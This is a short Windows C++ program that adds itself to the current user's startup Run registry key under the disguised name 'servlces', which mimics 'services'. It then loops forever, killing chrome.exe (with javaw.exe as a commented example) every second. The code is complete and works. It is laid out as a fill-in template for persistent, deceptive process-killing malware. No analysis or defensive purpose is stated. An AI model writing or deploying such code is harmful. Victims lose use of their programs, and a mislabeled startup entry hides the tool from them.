#include <windows.h>
#include <intrin.h>
#include <tlhelp32.h>
#include <iostream>
#include <string>
#include <vector>
bool KillProcessByName(const std::wstring& processName) {
bool result = false;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return false;
}
PROCESSENTRY32W pe;
pe.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnapshot, &pe)) {
do {
if (processName == pe.szExeFile) {
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe.th32ProcessID);
if (hProcess != NULL) {
if (TerminateProcess(hProcess, 0)) {
result = true;
}
CloseHandle(hProcess);
}
}
} while (Process32NextW(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return result;
}
bool AddToStartup(const wchar_t* appName) {
wchar_t exePath[MAX_PATH];
if (GetModuleFileNameW(NULL, exePath, MAX_PATH) == 0) {
return false;
}
HKEY hKey;
LONG openStatus = RegOpenKeyExW(
HKEY_CURRENT_USER,
L"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
0,
KEY_SET_VALUE,
&hKey
);
if (openStatus != ERROR_SUCCESS) {
return false;
}
LONG setStatus = RegSetValueExW(
hKey,
appName,
0,
REG_SZ,
(const BYTE*)exePath,
(lstrlenW(exePath) + 1) * sizeof(wchar_t)
);
RegCloseKey(hKey);
return (setStatus == ERROR_SUCCESS);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
const wchar_t* programName = L"servlces"; // NAME
AddToStartup(programName);
std::vector<std::wstring> targets = {
// PROCESSES
// For example: L"javaw.exe",
L"chrome.exe",
};
while (true) {
for (const auto& process : targets) {
KillProcessByName(process);
}
Sleep(1000);
}
return 0;
}